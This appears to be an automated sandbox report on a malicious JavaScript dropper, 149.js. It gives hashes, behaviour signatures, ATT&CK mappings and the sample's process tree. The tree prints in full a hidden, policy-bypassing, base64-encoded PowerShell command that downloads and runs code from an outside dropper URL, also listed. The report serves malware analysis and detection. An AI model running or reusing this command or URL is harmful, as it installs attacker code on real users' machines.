239705523bd939e2bcf3055a0bb22a9ed5d2cb41a0e4bec848c8ef607e3f381f

Analysis

max time kernel
8s
max time network
41s
platform
windows7_x64
resource
win7v20210410
submitted
03/08/2021, 06:07

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General

Target
149.js
Size 477KB
Sample210803-dgr5dk31r2
SHA256 d8583c959b46d947318779b7f0d827fd3d72d04a927ad9ac1b6d658d2e966436
MD5 3b6b77af4be0bc6dad082526aaac03b0
SHA1 87b318a84ab79c79957ca52d345517bdd7fbf074
SHA512 8c99c75a3ea10bcd93967b00f62744bcc416da2977a3a12c58ab0670d8ebebea07cf0e7ec49e2f54276b2f0591535649a880f4ce1cac788ab7ba5fe85802e753
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://grupotopbem.com.br/ashkere.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	1080	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1080	powershell.exe
1080	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1080	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 840 wrote to memory of 388	840	wscript.exe	29
PID 840 wrote to memory of 388	840	wscript.exe	29
PID 840 wrote to memory of 388	840	wscript.exe	29
PID 388 wrote to memory of 1080	388	cmd.exe	31
PID 388 wrote to memory of 1080	388	cmd.exe	31
PID 388 wrote to memory of 1080	388	cmd.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\149.js
1⤵
- Suspicious use of WriteProcessMemory
PID:840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1080

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/840-60-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

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memory/1080-64-0x0000000002380000-0x0000000002381000-memory.dmp

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memory/1080-65-0x000000001AC30000-0x000000001AC31000-memory.dmp

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memory/1080-66-0x0000000002560000-0x0000000002561000-memory.dmp

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memory/1080-67-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

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memory/1080-68-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

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memory/1080-69-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

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memory/1080-70-0x000000001C090000-0x000000001C091000-memory.dmp

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